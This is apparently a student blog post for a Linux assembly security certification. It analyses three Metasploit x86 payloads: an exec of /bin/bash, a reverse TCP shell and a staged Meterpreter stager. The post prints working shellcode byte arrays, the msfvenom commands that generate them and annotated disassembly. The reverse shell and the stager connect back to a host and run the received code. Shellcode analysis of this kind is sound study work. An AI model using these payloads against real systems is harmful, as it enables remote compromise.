Assignment #5
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE-1228
Libemu and friends
For this task I used msfvenom
instead of msfpayload
, since this is the current standard tool to generate shellcodes. I also used sctest
, a tool that is part of the libemu
testsuite, just like in the videos. This package is available in Debian Stretch as libemu2
.
# apt install libemu2
Lets learn a little more about libemu
:
libemu is a small library written in c offering basic x86 emulation and shellcode detection using GetPC heuristics.
And what on earth is GetPC? This page by NetSec will tell you:
The GetPc technique is implementation of code which obtains the current instruction pointer. This can be useful when writing self-modifying shellcode, or other code that must become aware of its environment, as environment information cannot be supplied prior to execution of the code.
In short, it is an elegant way to get the address pointed by EIP, which is not directly accessible in x86.
jmp startup
getpc:
mov (%esp), %eax
ret
startup:
call getpc ; the %eax register now contains %eip on the next line
Ok, enough of learning about libemu
internals. Moving on to sctest
, this is a tool that allows, among other things, to generate a control flow graph for the shellcode and write it to a DOT file. This file can be rendered as an image using the dot
utility.
sctest allows to test streams for shellcode.
Based on the course videos and on [this] page I managed to create a one liner that generates an image of the shellcode flow.
$ cat shellcode.hex | tr -d '\\\x' | xxd -r -p | sctest -vvv -Ss 99999 -G shellcode.dot; dot -Tpng -o shellcode.png shellcode.dot
Selected shellcodes
Before picking 3 shellcodes to analyse I took a look at the payloads for linux/x86
Metasploit has to offer:
msfvenom --list payloads | grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
I decided to analyse the following payloads.
linux/x86/exec CMD=”/bin/bash”
I used this one during Assignment#3 for spawning a shell after a buffer overflow using an egg hunter. Now it is time to understand what has happened under the hood.
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/bash" -f c
No encoder or badchars specified, outputting raw payload
Payload size: 45 bytes
Final size of c file: 213 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0a\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x62\x61\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
This is a very simple shellcode, basically the stack is prepared and the syscall is called. However, there is on particularly interesting optimization here:
- Usage of
cwd
instruction to clear out edx. The sign of eax (0 in this case) is copied into dx, therefore clearing it out.
Line-by-line analysis:
push 0xb
pop eax ;the first 2 lines set eax=0xb, which is the syscall number for sys_execve
cwd ;clears edx
push edx ;pushes 0 into the stack
pushw 0x632d ;pushes '-c' into the stack
mov edi,esp ;save the stack pointer in edi (points to -c)
push 0x68732f ;save /sh into the stack (little endian)
push 0x6e69622f ;save /bin into the stack (little endian)
mov ebx,esp ;save the stack pointer in ebx (points to /bin/sh)
push edx ;push 0 into the stack
call 0xf ;probably related to stack alignment, not sure
push edi ;push -c again
push ebx ;push /bin/sh
mov ecx,esp ;save '/bin/sh -c' in ecx
;EAX=0xb
;EBX -> "/bin/sh"
;ECX -> Address of '/bin/sh -c'
;EDX ->
int 0x80; calls execve
As a bonus, lets see what happens when we try to avoid NULLs.
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/bash" -b '\x00' -f c
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of c file: 327 bytes
unsigned char buf[] =
"\xbf\xd1\xf0\xac\xf4\xdb\xc1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x0c\x83\xea\xfc\x31\x7a\x0f\x03\x7a\xde\x12\x59\x9e\xeb\x8a"
"\x3b\x0d\x8d\x42\x11\xd1\xd8\x74\x01\x3a\xa9\x12\xd2\x2c\x62"
"\x81\xbb\xc2\xf5\xa6\x6e\xf3\x0f\x29\x8f\x03\x20\x4b\xe6\x6d"
"\x11\xe9\x99\x02\x05\xed\x0e\xb6\x5c\x0c\x7d\xb8";
Wow, not exactly what I was expecting. But looking the output more carefully:
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
In order to avoid NULL bytes, msfvenom picks an encoder. In this case the infamous shikata_ga_nai
. So I decided do my homework and check how this encoder works. Despite its frequent use, I could not find so many sources explaining the algorithm. But to not turn this post into a book I made another one dedicated to this subject.
You can find my shikata_ga_nai analysis here
linux/x86/shell_reverse_tcp
I have also used the reverse_tcp shellcode when preparing Assignment#2 and was actually wondering how it works.
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp -f c
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
If you remember from our previous assignment, we used the following functions that were later converted to syscalls:
- int socket(int protocolFamily, int type, int protocol);
- int connect(int socket, struct sockaddr *foreignAddress, unsigned int addressLength);
- int dup2(int oldfd, int newfd);
- int execve(const char *filename, char *const argv[],char *const envp[]);
They are all there. There are some differences between our simple shellcode and this elegant one. First, there are several optimizations, for example:
- Usage of
mul
instruction to clear registers - Usage of
xchg
instruction to move the content of one register to another - Usage of a loop structure for redirecting INPUT, OUTPUT and ERROR
Improvements apart, the essence of this shellcode is pretty much the same as ours.
linux/x86/meterpreter/reverse_tcp
Now that we know what linux/x86/shell_reverse_tcp
, why not looking at Meterpreter? Metasploit splits some of it payloads in Stageless and Staged categories. The first one corresponds to payloads that are delivered as a single chunk and you can identify them as meterpreter_
. On the other hand, Staged payloads are delivered in parts. Initially the victim receives a small stage which then loads the following stages.
Since the stageless payload is humongous, I will analyse only the stalegess version.
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp -f c
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of c file: 543 bytes
unsigned char buf[] =
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
"\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c"
"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
"\x00\xcd\x80";
Code analysis (highlights):
0: 6a 0a push 0xa
2: 5e pop esi ;esi=0xa (PUSH-POP technique)
3: 31 db xor ebx,ebx ;clear out ebx
5: f7 e3 mul ebx ;clear eax
7: 53 push ebx ;store 0 on the stack
8: 43 inc ebx ;ebx=1
9: 53 push ebx ;store 1 on the stack
a: 6a 02 push 0x2 ;store 2 on the stack
c: b0 66 mov al,0x66 ;socketcall syscall number 0x66 in eax
e: 89 e1 mov ecx,esp ;point ecx to the parameters on the stack
;EAX=0x66 (socketcall)
;EBX=1 (socket)
;ECX -> 2/1/0 (parameters)
10: cd 80 int 0x80 ;call syscall (socket)
12: 97 xchg edi,eax ;save the result of the syscall (file descriptor) in edi
13: 5b pop ebx ;ebx=2
14: 68 7f 00 00 01 push 0x100007f ;IP
19: 68 02 00 11 5c push 0x5c110002 ;PORT
1e: 89 e1 mov ecx,esp ;ecx points to the parameters on the stack
20: 6a 66 push 0x66
22: 58 pop eax ;eax=0x66, 'connect' syscall number
23: 50 push eax ;push 0x66 on the stack (socketcall)
24: 51 push ecx ;push the address of the parameters
25: 57 push edi ;push the socket file descriptor
26: 89 e1 mov ecx,esp ;ecx now points to the parameters on the stack
28: 43 inc ebx ;ebx=3
;EAX=0x66 (socketcall)
;EBX=3 (connect)
;ECX -> &(sockaddr parameters)
29: cd 80 int 0x80 ;call syscall (connect)
2b: 85 c0 test eax,eax ;check if eax is 0 (connection successful)
2d: 79 19 jns 0x48
2f: 4e dec esi ;if connection failed,
30: 74 3d je 0x6f
32: 68 a2 00 00 00 push 0xa2 ;prepare nanosleep syscall
37: 58 pop eax
38: 6a 00 push 0x0
3a: 6a 05 push 0x5
3c: 89 e3 mov ebx,esp
3e: 31 c9 xor ecx,ecx
40: cd 80 int 0x80 ;call nanosleep (wait for signal)
42: 85 c0 test eax,eax
44: 79 bd jns 0x3
46: eb 27 jmp 0x6f
48: b2 07 mov dl,0x7
4a: b9 00 10 00 00 mov ecx,0x1000
4f: 89 e3 mov ebx,esp
51: c1 eb 0c shr ebx,0xc
54: c1 e3 0c shl ebx,0xc
57: b0 7d mov al,0x7d
59: cd 80 int 0x80
5b: 85 c0 test eax,eax
5d: 78 10 js 0x6f
5f: 5b pop ebx
60: 89 e1 mov ecx,esp
62: 99 cdq
63: b6 0c mov dh,0xc
65: b0 03 mov al,0x3
67: cd 80 int 0x80 ;read syscall
69: 85 c0 test eax,eax
6b: 78 02 js 0x6f
6d: ff e1 jmp ecx
6f: b8 01 00 00 00 mov eax,0x1
74: bb 01 00 00 00 mov ebx,0x1
79: cd 80 int 0x80 ;sys_exit
The idea is to create a socket then try to connect to a certain IP/PORT. If it does not succed, wait for a few seconds or the delivery of a signal (connection). If the time runs off, goes back to the beginning and try to connect once again. When if finally succeds, read whatever is sent (probably the next stage).